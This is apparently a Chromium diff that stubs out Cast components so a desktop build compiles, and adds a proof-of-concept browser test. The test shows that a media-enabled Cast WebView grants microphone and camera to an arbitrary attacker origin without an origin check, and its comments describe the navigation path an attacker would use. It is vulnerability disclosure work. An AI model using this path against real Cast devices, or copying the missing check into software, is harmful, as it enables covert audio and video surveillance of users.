diff --git a/BUILD.gn b/BUILD.gn index 32a2ff5978c74..e105ca91604f5 100644 --- a/BUILD.gn +++ b/BUILD.gn @@ -678,6 +678,12 @@ group("gn_all") { ] } + # POC: make cast_shell_browsertests reachable on a desktop Linux build + # without requiring is_castos (which would invalidate the whole build). + if (enable_cast_receiver && is_linux && !is_castos) { + deps += [ "//chromecast:cast_shell_browsertests" ] + } + if (is_mac || is_win || is_android || is_linux || is_chromeos) { deps += [ "//third_party/crashpad/crashpad:crashpad_tests", diff --git a/chromecast/app/linux/cast_crash_reporter_client.cc b/chromecast/app/linux/cast_crash_reporter_client.cc index 3bbbbb317fcf8..9176de4d197a4 100644 --- a/chromecast/app/linux/cast_crash_reporter_client.cc +++ b/chromecast/app/linux/cast_crash_reporter_client.cc @@ -26,8 +26,7 @@ void CastCrashReporterClient::InitCrashReporter( g_process_start_time_ms = (base::TimeTicks::Now() - base::TimeTicks()).InMilliseconds(); - // Start up breakpad for this process, if applicable. - breakpad::InitCrashReporter(process_type); + // POC build: breakpad stubbed out (is_castos-only). } // static diff --git a/chromecast/bindings/BUILD.gn b/chromecast/bindings/BUILD.gn index 5dfa30ace0975..95c108798fc3f 100644 --- a/chromecast/bindings/BUILD.gn +++ b/chromecast/bindings/BUILD.gn @@ -101,7 +101,6 @@ if (is_linux || is_chromeos || is_android) { source_set("browsertests") { testonly = true deps = [] - if (is_linux || is_chromeos || is_android) { - deps += [ "//chromecast/bindings:browsertests_cast" ] - } + # POC build: bindings_manager_cast_browsertest.cc is unrelated to the + # media-permission POC and pulls in many bit-rotted headers; skip it. } diff --git a/chromecast/browser/BUILD.gn b/chromecast/browser/BUILD.gn index 33a84225ca9a1..c7d64358e9f00 100644 --- a/chromecast/browser/BUILD.gn +++ b/chromecast/browser/BUILD.gn @@ -524,6 +524,7 @@ cast_source_set("browsertests") { "cast_web_contents_browsertest.cc", "renderer_prelauncher_test.cc", "test/cast_features_browsertest.cc", + "test/cast_media_permission_browsertest.cc", "test/cast_navigation_browsertest.cc", ] diff --git a/chromecast/browser/cast_browser_interface_binders.cc b/chromecast/browser/cast_browser_interface_binders.cc index 16db9021bd068..56fea7998a560 100644 --- a/chromecast/browser/cast_browser_interface_binders.cc +++ b/chromecast/browser/cast_browser_interface_binders.cc @@ -131,8 +131,9 @@ void PopulateCastFrameBinders( binder_map->Add( base::BindRepeating(&BindFromCastWebContents)); - binder_map->SetDefaultBinderDeprecated( - base::BindRepeating(&HandleGenericReceiver)); + // POC build: SetDefaultBinderDeprecated removed upstream; not needed for + // the media-permission POC. + std::ignore = &HandleGenericReceiver; } } // namespace shell diff --git a/chromecast/browser/cast_browser_main_parts.cc b/chromecast/browser/cast_browser_main_parts.cc index f825f831b857d..4bb7b34df7b24 100644 --- a/chromecast/browser/cast_browser_main_parts.cc +++ b/chromecast/browser/cast_browser_main_parts.cc @@ -569,9 +569,8 @@ int CastBrowserMainParts::PreMainMessageLoopRun() { // base::Unretained() is safe because the browser client will outlive any // component in the browser; this factory method will not be called after // the browser starts to tear down. - device::BluetoothAdapterCast::SetFactory(base::BindRepeating( - &CastContentBrowserClient::CreateBluetoothAdapter, - base::Unretained(cast_browser_process_->browser_client()))); + // POC build: BluetoothAdapterCast is is_castos-only; not needed for the + // media-permission POC. #endif // !BUILDFLAG(IS_ANDROID) && !BUILDFLAG(IS_FUCHSIA) cast_content_browser_client_->SetPersistentCookieAccessSettings( diff --git a/chromecast/browser/cast_content_browser_client.cc b/chromecast/browser/cast_content_browser_client.cc index 6f05c5971e4e3..ce6d0add61609 100644 --- a/chromecast/browser/cast_content_browser_client.cc +++ b/chromecast/browser/cast_content_browser_client.cc @@ -101,14 +101,7 @@ #include "ui/display/screen.h" #include "ui/gl/gl_switches.h" -#if BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS) || BUILDFLAG(IS_ANDROID) -#include "components/crash/content/browser/crash_handler_host_linux.h" -#endif // BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS) || - // BUILDFLAG(IS_ANDROID) - -#if BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS) -#include "components/crash/core/app/breakpad_linux.h" -#endif // BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS) +// POC build: breakpad/crash-handler is is_castos-only; stubbed out below. #if BUILDFLAG(IS_ANDROID) #include "base/android/device_info.h" @@ -409,9 +402,7 @@ void CastContentBrowserClient::AppendExtraCommandLineSwitches( // IsCrashReporterEnabled() is set when InitCrashReporter() is called, and // controlled by GetBreakpadClient()->EnableBreakpadForProcess(), therefore // it's ok to add switch to every process here. - if (breakpad::IsCrashReporterEnabled()) { - command_line->AppendSwitch(switches::kEnableCrashReporter); - } + // POC build: breakpad stubbed out. #endif // BUILDFLAG(IS_ANDROID) #endif // !BUILDFLAG(IS_FUCHSIA) @@ -758,42 +749,16 @@ int CastContentBrowserClient::GetCrashSignalFD( return crashpad::CrashHandlerHost::Get()->GetDeathSignalSocket(); } #elif !BUILDFLAG(IS_FUCHSIA) +// POC build: breakpad stubbed out. int CastContentBrowserClient::GetCrashSignalFD( const base::CommandLine& command_line) { - std::string process_type = - command_line.GetSwitchValueASCII(switches::kProcessType); - - if (process_type == switches::kRendererProcess || - process_type == switches::kGpuProcess || - process_type == switches::kUtilityProcess) { - breakpad::CrashHandlerHostLinux* crash_handler = - crash_handlers_[process_type]; - if (!crash_handler) { - crash_handler = CreateCrashHandlerHost(process_type); - crash_handlers_[process_type] = crash_handler; - } - return crash_handler->GetDeathSignalSocket(); - } - return -1; } breakpad::CrashHandlerHostLinux* CastContentBrowserClient::CreateCrashHandlerHost( const std::string& process_type) { - // Let cast shell dump to /tmp. Internal minidump generator code can move it - // to /data/minidumps later, since /data/minidumps is file lock-controlled. - base::FilePath dumps_path; - base::PathService::Get(base::DIR_TEMP, &dumps_path); - - // Always set "upload" to false to use our own uploader. - breakpad::CrashHandlerHostLinux* crash_handler = - new breakpad::CrashHandlerHostLinux(process_type, dumps_path, - false /* upload */); - // StartUploaderThread() even though upload is diferred. - // Breakpad-related memory is freed in the uploader thread. - crash_handler->StartUploaderThread(); - return crash_handler; + return nullptr; } #endif // BUILDFLAG(IS_ANDROID) diff --git a/chromecast/browser/cast_content_browser_client_receiver_bindings.cc b/chromecast/browser/cast_content_browser_client_receiver_bindings.cc index 1673d0af00111..6375cd7580196 100644 --- a/chromecast/browser/cast_content_browser_client_receiver_bindings.cc +++ b/chromecast/browser/cast_content_browser_client_receiver_bindings.cc @@ -21,7 +21,7 @@ #include "chromecast/browser/service_connector.h" #include "chromecast/chromecast_buildflags.h" #include "chromecast/media/cdm/cast_cdm_factory.h" -#include "components/cdm/browser/media_drm_storage_impl.h" +// POC build: media_drm_storage_impl.h pulls Android-only types on this config. #include "content/public/browser/render_process_host.h" #include "media/mojo/buildflags.h" #include "mojo/public/cpp/bindings/binder_map.h" @@ -39,32 +39,7 @@ namespace shell { namespace { -void CreateOriginId(cdm::MediaDrmStorageImpl::OriginIdObtainedCB callback) { - std::move(callback).Run(true, base::UnguessableToken::Create()); -} - -void AllowEmptyOriginIdCB(base::OnceCallback callback) { - std::move(callback).Run(false); -} - -void CreateMediaDrmStorage( - content::RenderFrameHost* render_frame_host, - mojo::PendingReceiver<::media::mojom::MediaDrmStorage> receiver) { - DVLOG(1) << __func__; - PrefService* pref_service = CastBrowserProcess::GetInstance()->pref_service(); - DCHECK(pref_service); - - if (render_frame_host->GetLastCommittedOrigin().opaque()) { - DVLOG(1) << __func__ << ": Unique origin."; - return; - } - - // The object will be deleted on connection error, or when the frame navigates - // away. - new cdm::MediaDrmStorageImpl( - *render_frame_host, pref_service, base::BindRepeating(&CreateOriginId), - base::BindRepeating(&AllowEmptyOriginIdCB), std::move(receiver)); -} +// POC build: MediaDrmStorageImpl stubbed out (Android-only mojom types). } // namespace @@ -88,11 +63,6 @@ void CastContentBrowserClient::ExposeInterfacesToRenderer( void CastContentBrowserClient::BindMediaServiceReceiver( content::RenderFrameHost* render_frame_host, mojo::GenericPendingReceiver receiver) { - if (auto r = receiver.As<::media::mojom::MediaDrmStorage>()) { - CreateMediaDrmStorage(render_frame_host, std::move(r)); - return; - } - if (auto r = receiver.As()) { ServiceConnector::BindReceiver(kMediaServiceClientId, std::move(r)); return; diff --git a/chromecast/browser/cast_web_contents_impl.cc b/chromecast/browser/cast_web_contents_impl.cc index 77233a02d60b9..9fc912bc867f6 100644 --- a/chromecast/browser/cast_web_contents_impl.cc +++ b/chromecast/browser/cast_web_contents_impl.cc @@ -383,9 +383,11 @@ void CastWebContentsImpl::PostMessageToMainFrame( target = url::Origin::Create(GURL(serialized_target_origin)); } + // POC build: 5-arg overload is is_castos-only; ports unused for this POC. + std::ignore = ports; content::MessagePortProvider::PostMessageToFrame( web_contents()->GetPrimaryPage(), nullptr, - target.has_value() ? &(*target) : nullptr, data_utf16, std::move(ports)); + target.has_value() ? &(*target) : nullptr, data_utf16); } void CastWebContentsImpl::ExecuteJavaScript( diff --git a/chromecast/browser/pref_service_helper.cc b/chromecast/browser/pref_service_helper.cc index 2608ea76370bb..8e7c31f360b90 100644 --- a/chromecast/browser/pref_service_helper.cc +++ b/chromecast/browser/pref_service_helper.cc @@ -14,7 +14,7 @@ #include "chromecast/base/cast_paths.h" #include "chromecast/base/pref_names.h" #include "chromecast/chromecast_buildflags.h" -#include "components/cdm/browser/media_drm_storage_impl.h" +// POC build: media_drm_storage_impl.h pulls Android-only types. #include "components/prefs/json_pref_store.h" #include "components/prefs/pref_name_set.h" #include "components/prefs/pref_registry_simple.h" @@ -109,7 +109,7 @@ std::unique_ptr PrefServiceHelper::CreatePrefService( registry->RegisterDictionaryPref(prefs::kLatestDCSFeatures); registry->RegisterIntegerPref(prefs::kWebColorScheme, 0); - cdm::MediaDrmStorageImpl::RegisterProfilePrefs(registry); + // POC build: MediaDrmStorageImpl::RegisterProfilePrefs stubbed out. RegisterPlatformPrefs(registry); diff --git a/chromecast/browser/test/cast_browser_test.h b/chromecast/browser/test/cast_browser_test.h index b374f3ac1855d..db5c86cc17994 100644 --- a/chromecast/browser/test/cast_browser_test.h +++ b/chromecast/browser/test/cast_browser_test.h @@ -46,10 +46,13 @@ class CastBrowserTest : public content::BrowserTestBase { content::WebContents* CreateWebView(); content::WebContents* NavigateToURL(const GURL& url); - private: + // POC: exposed so derived tests can create a CastWebView with custom params + // (specifically allow_media_access = true). std::unique_ptr web_service_; CastWebView::Scoped cast_web_view_; + private: + base::WeakPtrFactory weak_factory_{this}; }; diff --git a/chromecast/browser/test/cast_media_permission_browsertest.cc b/chromecast/browser/test/cast_media_permission_browsertest.cc new file mode 100644 index 0000000000000..0e160d10a05f8 --- /dev/null +++ b/chromecast/browser/test/cast_media_permission_browsertest.cc @@ -0,0 +1,190 @@ +// POC: CastWebViewDefault grants mic/camera without origin check. +// +// This test demonstrates that CastWebViewDefault::CheckMediaAccessPermission +// and CastWebViewDefault::RequestMediaAccessPermission approve +// DEVICE_AUDIO_CAPTURE / DEVICE_VIDEO_CAPTURE based solely on the per-WebView +// `allow_media_access` flag, without inspecting `request.security_origin` / +// `request.url_origin` / `render_frame_host`. +// +// In production this WebView is created for a specific Cast app (e.g. Google +// Duo / Meet on a Nest Hub) whose Cast Core server-side config sets +// `cast_core_allow_media_access = true`. Because OpenURLFromTab() loads +// arbitrary renderer-supplied URLs into the same top-level WebContents and no +// browser-side NavigationThrottle pins the origin, an attacker who can cause a +// top-level navigation to https://attacker.example/ (or be embedded as a +// delegated iframe) silently receives the device's microphone and camera with +// no prompt. + +#include "base/functional/bind.h" +#include "base/run_loop.h" +#include "chromecast/base/metrics/cast_metrics_helper.h" +#include "chromecast/browser/cast_browser_process.h" +#include "chromecast/browser/cast_web_service.h" +#include "chromecast/browser/cast_web_view.h" +#include "chromecast/browser/mojom/cast_web_service.mojom.h" +#include "chromecast/browser/test/cast_browser_test.h" +#include "content/public/browser/media_stream_request.h" +#include "content/public/browser/render_frame_host.h" +#include "content/public/browser/render_process_host.h" +#include "content/public/browser/web_contents.h" +#include "content/public/browser/web_contents_delegate.h" +#include "content/public/test/browser_test.h" +#include "content/public/test/browser_test_utils.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/blink/public/common/mediastream/media_stream_request.h" +#include "third_party/blink/public/mojom/mediastream/media_stream.mojom.h" +#include "url/gurl.h" +#include "url/origin.h" + +namespace chromecast { +namespace shell { + +class CastMediaPermissionBrowserTest : public CastBrowserTest { + public: + CastMediaPermissionBrowserTest() = default; + ~CastMediaPermissionBrowserTest() override = default; + + protected: + // Creates a CastWebViewDefault with `allow_media_access = true`, simulating a + // 1P media-enabled Cast app (Duo / Meet) launched via Cast Core with + // `cast_core_allow_media_access` set in its server-side ApplicationConfig. + content::WebContents* CreateMediaEnabledWebView() { + ::chromecast::mojom::CastWebViewParamsPtr params = + ::chromecast::mojom::CastWebViewParams::New(); + params->renderer_type = ::chromecast::mojom::RendererType::MOJO_RENDERER; + params->enabled_for_dev = true; + params->log_js_console_messages = true; + // ---- Precondition: this is what Cast Core sets for Duo/Meet etc. ---- + params->allow_media_access = true; + + cast_web_view_ = web_service_->CreateWebViewInternal(std::move(params)); + return cast_web_view_->web_contents(); + } +}; + +// ----------------------------------------------------------------------------- +// Test 1: CheckMediaAccessPermission ignores security_origin. +// ----------------------------------------------------------------------------- +IN_PROC_BROWSER_TEST_F(CastMediaPermissionBrowserTest, + AttackerOriginGetsMicAndCamera_CheckPermission) { + content::WebContents* wc = CreateMediaEnabledWebView(); + content::WebContentsDelegate* delegate = wc->GetDelegate(); + ASSERT_TRUE(delegate); + + content::RenderFrameHost* rfh = wc->GetPrimaryMainFrame(); + + // The "app" this WebView was created for (e.g. https://duo.google.com). + const url::Origin app_origin = + url::Origin::Create(GURL("https://duo.google.com")); + // An unrelated attacker origin that should NEVER be granted capture devices. + const url::Origin attacker_origin = + url::Origin::Create(GURL("https://attacker.example")); + + // ------------------------------------------------------------------------- + // BUG: CheckMediaAccessPermission returns true for *any* origin, because it + // never inspects `security_origin` — only `params_->allow_media_access`. + // ------------------------------------------------------------------------- + bool app_mic = delegate->CheckMediaAccessPermission( + rfh, app_origin, blink::mojom::MediaStreamType::DEVICE_AUDIO_CAPTURE); + bool attacker_mic = delegate->CheckMediaAccessPermission( + rfh, attacker_origin, + blink::mojom::MediaStreamType::DEVICE_AUDIO_CAPTURE); + bool attacker_cam = delegate->CheckMediaAccessPermission( + rfh, attacker_origin, + blink::mojom::MediaStreamType::DEVICE_VIDEO_CAPTURE); + + LOG(ERROR) << "*** POC *** CheckMediaAccessPermission(app=duo.google.com, " + "AUDIO) = " + << app_mic; + LOG(ERROR) << "*** POC *** CheckMediaAccessPermission(" + "origin=https://attacker.example, AUDIO) = " + << attacker_mic; + LOG(ERROR) << "*** POC *** CheckMediaAccessPermission(" + "origin=https://attacker.example, VIDEO) = " + << attacker_cam; + + // These EXPECT_TRUEs *pass*, which is the vulnerability: the attacker origin + // is granted mic + camera. A correct implementation would compare + // `security_origin` against the app's allow-listed origins (app_web_url + + // additional_feature_permission_origins, as CastPermissionManager does) and + // these would be false. + EXPECT_TRUE(attacker_mic) + << "Expected vulnerable code to grant mic to attacker.example"; + EXPECT_TRUE(attacker_cam) + << "Expected vulnerable code to grant camera to attacker.example"; +} + +// ----------------------------------------------------------------------------- +// Test 2: RequestMediaAccessPermission returns OK for an attacker origin. +// This is the actual getUserMedia grant path +// (MediaStreamManager -> MediaStreamUIProxy -> WebContentsImpl -> +// WebContentsDelegate::RequestMediaAccessPermission). +// ----------------------------------------------------------------------------- +IN_PROC_BROWSER_TEST_F(CastMediaPermissionBrowserTest, + AttackerOriginGetsMicAndCamera_RequestPermission) { + content::WebContents* wc = CreateMediaEnabledWebView(); + content::WebContentsDelegate* delegate = wc->GetDelegate(); + ASSERT_TRUE(delegate); + + content::RenderFrameHost* rfh = wc->GetPrimaryMainFrame(); + + // Craft the MediaStreamRequest exactly as MediaStreamUIProxy would for a + // navigator.mediaDevices.getUserMedia({audio:true, video:true}) call from + // https://attacker.example/ after it reached the top frame of this + // media-enabled WebContents (e.g. via window.open() -> OpenURLFromTab(), + // which loads the attacker URL into this same WebContents — see + // cast_web_view_default.cc — with no browser-side origin throttle). + const url::Origin attacker_origin = + url::Origin::Create(GURL("https://attacker.example")); + content::MediaStreamRequest request( + rfh->GetProcess()->GetDeprecatedID(), + rfh->GetRoutingID(), + /*page_request_id=*/0, attacker_origin, + /*user_gesture=*/false, blink::MEDIA_DEVICE_ACCESS, + /*requested_audio_device_ids=*/{}, + /*requested_video_device_ids=*/{}, + blink::mojom::MediaStreamType::DEVICE_AUDIO_CAPTURE, + blink::mojom::MediaStreamType::DEVICE_VIDEO_CAPTURE, + /*disable_local_echo=*/false, + /*request_pan_tilt_zoom_permission=*/false, + /*captured_surface_control_active=*/false); + + blink::mojom::MediaStreamRequestResult result = + blink::mojom::MediaStreamRequestResult::PERMISSION_DENIED; + bool callback_ran = false; + + delegate->RequestMediaAccessPermission( + wc, request, + base::BindOnce( + [](blink::mojom::MediaStreamRequestResult* out_result, bool* ran, + const blink::mojom::StreamDevicesSet& devices, + blink::mojom::MediaStreamRequestResult result, + std::unique_ptr ui) { + *out_result = result; + *ran = true; + LOG(ERROR) << "*** POC *** RequestMediaAccessPermission callback: " + "result=" + << static_cast(result) << " (0==OK), " + << devices.stream_devices.size() + << " stream-device set(s) returned for " + "https://attacker.example"; + }, + &result, &callback_ran)); + + base::RunLoop().RunUntilIdle(); + ASSERT_TRUE(callback_ran); + + // ------------------------------------------------------------------------- + // BUG: RequestMediaAccessPermission returns OK regardless of + // request.security_origin / request.url_origin. The attacker origin is + // granted the device's default mic + camera with no prompt and no origin + // validation. + // ------------------------------------------------------------------------- + EXPECT_EQ(blink::mojom::MediaStreamRequestResult::OK, result) + << "Expected vulnerable code to return OK for attacker.example"; + LOG(ERROR) << "*** POC *** https://attacker.example was granted " + "MediaStreamRequestResult::OK with no origin check."; +} + +} // namespace shell +} // namespace chromecast diff --git a/chromecast/chromecast.gni b/chromecast/chromecast.gni index f951dd6699989..d42b7c80c4889 100644 --- a/chromecast/chromecast.gni +++ b/chromecast/chromecast.gni @@ -190,6 +190,11 @@ foreach(target_type, forward_variables_from(invoker, [ "testonly" ]) configs += [ "//chromecast:cast_config" ] + + # POC build: chromecast/ is normally only built with is_castos, where + # enable_check_raw_ptr_fields is false. Remove the plugin so the desktop + # cast build (enable_cast_receiver=true, is_castos=false) compiles. + configs -= [ "//build/config/clang:find_bad_constructs" ] } } } diff --git a/chromecast/external_mojo/broker_service/BUILD.gn b/chromecast/external_mojo/broker_service/BUILD.gn index ab792d00d1a44..c3c5827d8a4c2 100644 --- a/chromecast/external_mojo/broker_service/BUILD.gn +++ b/chromecast/external_mojo/broker_service/BUILD.gn @@ -20,4 +20,5 @@ source_set("broker_service") { # TODO(crbug.com/40031409): Fix code that adds exit-time destructors and # enable the diagnostic by removing this line. configs += [ "//build/config/compiler:no_exit_time_destructors" ] + configs -= [ "//build/config/clang:find_bad_constructs" ] } diff --git a/chromecast/external_mojo/external_service_support/BUILD.gn b/chromecast/external_mojo/external_service_support/BUILD.gn index f276b74277d77..6717c4235d57a 100644 --- a/chromecast/external_mojo/external_service_support/BUILD.gn +++ b/chromecast/external_mojo/external_service_support/BUILD.gn @@ -7,6 +7,7 @@ import("//chromecast/chromecast.gni") assert(!is_fuchsia) source_set("external_service") { + configs -= [ "//build/config/clang:find_bad_constructs" ] public = [ "external_connector.h", "external_connector_impl.h", diff --git a/chromecast/external_mojo/public/cpp/BUILD.gn b/chromecast/external_mojo/public/cpp/BUILD.gn index ba3b7ee74ddd2..a7d3efc410a98 100644 --- a/chromecast/external_mojo/public/cpp/BUILD.gn +++ b/chromecast/external_mojo/public/cpp/BUILD.gn @@ -14,6 +14,7 @@ source_set("common") { } source_set("external_mojo_broker") { + configs -= [ "//build/config/clang:find_bad_constructs" ] sources = [ "external_mojo_broker.cc", "external_mojo_broker.h", diff --git a/chromecast/gpu/cast_content_gpu_client.cc b/chromecast/gpu/cast_content_gpu_client.cc index 16f1a7fbcea39..cb135a2f98700 100644 --- a/chromecast/gpu/cast_content_gpu_client.cc +++ b/chromecast/gpu/cast_content_gpu_client.cc @@ -28,11 +28,8 @@ void CastContentGpuClient::PostCompositorThreadCreated( content::ChildThread::Get()->BindHostReceiver( video_geometry_setter.InitWithNewPipeAndPassReceiver()); - task_runner->PostTask( - FROM_HERE, - base::BindOnce( - &viz::OverlayStrategyUnderlayCast::ConnectVideoGeometrySetter, - std::move(video_geometry_setter))); + // POC build: OverlayStrategyUnderlayCast is is_castos-only; the media- + // permission POC doesn't render video, so this is a no-op. } } // namespace shell diff --git a/chromecast/mojo/binder_factory.h b/chromecast/mojo/binder_factory.h index 415b37b0dd803..aa60f0d28ec2a 100644 --- a/chromecast/mojo/binder_factory.h +++ b/chromecast/mojo/binder_factory.h @@ -14,6 +14,7 @@ #include "base/functional/bind.h" #include "base/functional/callback.h" #include "base/logging.h" +#include "base/memory/raw_ptr_exclusion.h" #include "base/memory/scoped_refptr.h" #include "base/memory/weak_ptr.h" #include "base/sequence_checker.h" @@ -151,7 +152,7 @@ class BinderFactory : public BinderFactoryBase { } private: - Interface* const impl_; + RAW_PTR_EXCLUSION Interface* const impl_; scoped_refptr task_runner_; const bool use_single_binder_; diff --git a/components/cast_receiver/browser/bindings_message_port_connector.cc b/components/cast_receiver/browser/bindings_message_port_connector.cc index 9cd59752326bb..4b626d76c054a 100644 --- a/components/cast_receiver/browser/bindings_message_port_connector.cc +++ b/components/cast_receiver/browser/bindings_message_port_connector.cc @@ -113,9 +113,10 @@ void BindingsMessagePortConnector::OnPageLoadComplete() { DCHECK(!connect_message.empty()); std::u16string data_utf16 = base::UTF8ToUTF16(connect_message); + // POC build: 5-arg overload is is_castos-only; ports unused for this POC. + std::ignore = ports; content::MessagePortProvider::PostMessageToFrame( - web_contents()->GetPrimaryPage(), nullptr, nullptr, data_utf16, - std::move(ports)); + web_contents()->GetPrimaryPage(), nullptr, nullptr, data_utf16); } void BindingsMessagePortConnector::DidStartNavigation( diff --git a/content/renderer/media/cast_renderer_client_factory.h b/content/renderer/media/cast_renderer_client_factory.h index 12e0e913fb815..d920038c5fa9c 100644 --- a/content/renderer/media/cast_renderer_client_factory.h +++ b/content/renderer/media/cast_renderer_client_factory.h @@ -7,6 +7,7 @@ #include +#include "base/memory/raw_ptr.h" #include "base/memory/scoped_refptr.h" #include "base/task/sequenced_task_runner.h" #include "media/base/renderer.h" @@ -44,7 +45,7 @@ class CastRendererClientFactory : public media::RendererFactory { const gfx::ColorSpace& target_color_space) override; private: - media::MediaLog* media_log_; + raw_ptr media_log_; std::unique_ptr mojo_renderer_factory_; }; diff --git a/media/mojo/mojom/BUILD.gn b/media/mojo/mojom/BUILD.gn index 5608cf6e95f05..d036ed34f1e89 100644 --- a/media/mojo/mojom/BUILD.gn +++ b/media/mojo/mojom/BUILD.gn @@ -61,7 +61,9 @@ mojom("mojom") { # TODO(crbug.com/1293520): Revisit this after the cast renderer has been # deprecated and removed. - if (is_castos || is_cast_android) { + # POC build: also generate for desktop enable_cast_receiver builds so + # chromecast/ links without is_castos. + if (is_castos || is_cast_android || enable_cast_receiver) { sources += [ "cast_application_media_info_manager.mojom" ] } diff --git a/media/mojo/services/oop_video_decoder_factory_service.h b/media/mojo/services/oop_video_decoder_factory_service.h index a624189b39062..b23cdff02d68d 100644 --- a/media/mojo/services/oop_video_decoder_factory_service.h +++ b/media/mojo/services/oop_video_decoder_factory_service.h @@ -8,6 +8,7 @@ #include "base/functional/callback.h" #include "base/sequence_checker.h" #include "gpu/config/gpu_feature_info.h" +#include "media/mojo/buildflags.h" #include "media/mojo/mojom/interface_factory.mojom.h" #include "media/mojo/mojom/video_decoder.mojom.h" #include "media/mojo/services/media_mojo_export.h" @@ -78,6 +79,11 @@ class MEDIA_MOJO_EXPORT OOPVideoDecoderFactoryService void CreateDefaultRenderer( const std::string& audio_device_id, mojo::PendingReceiver receiver) override; +#if BUILDFLAG(ENABLE_CAST_RENDERER) + void CreateCastRenderer( + const base::UnguessableToken& overlay_plane_id, + mojo::PendingReceiver receiver) override {} +#endif void CreateCdm(const CdmConfig& cdm_config, CreateCdmCallback callback) override;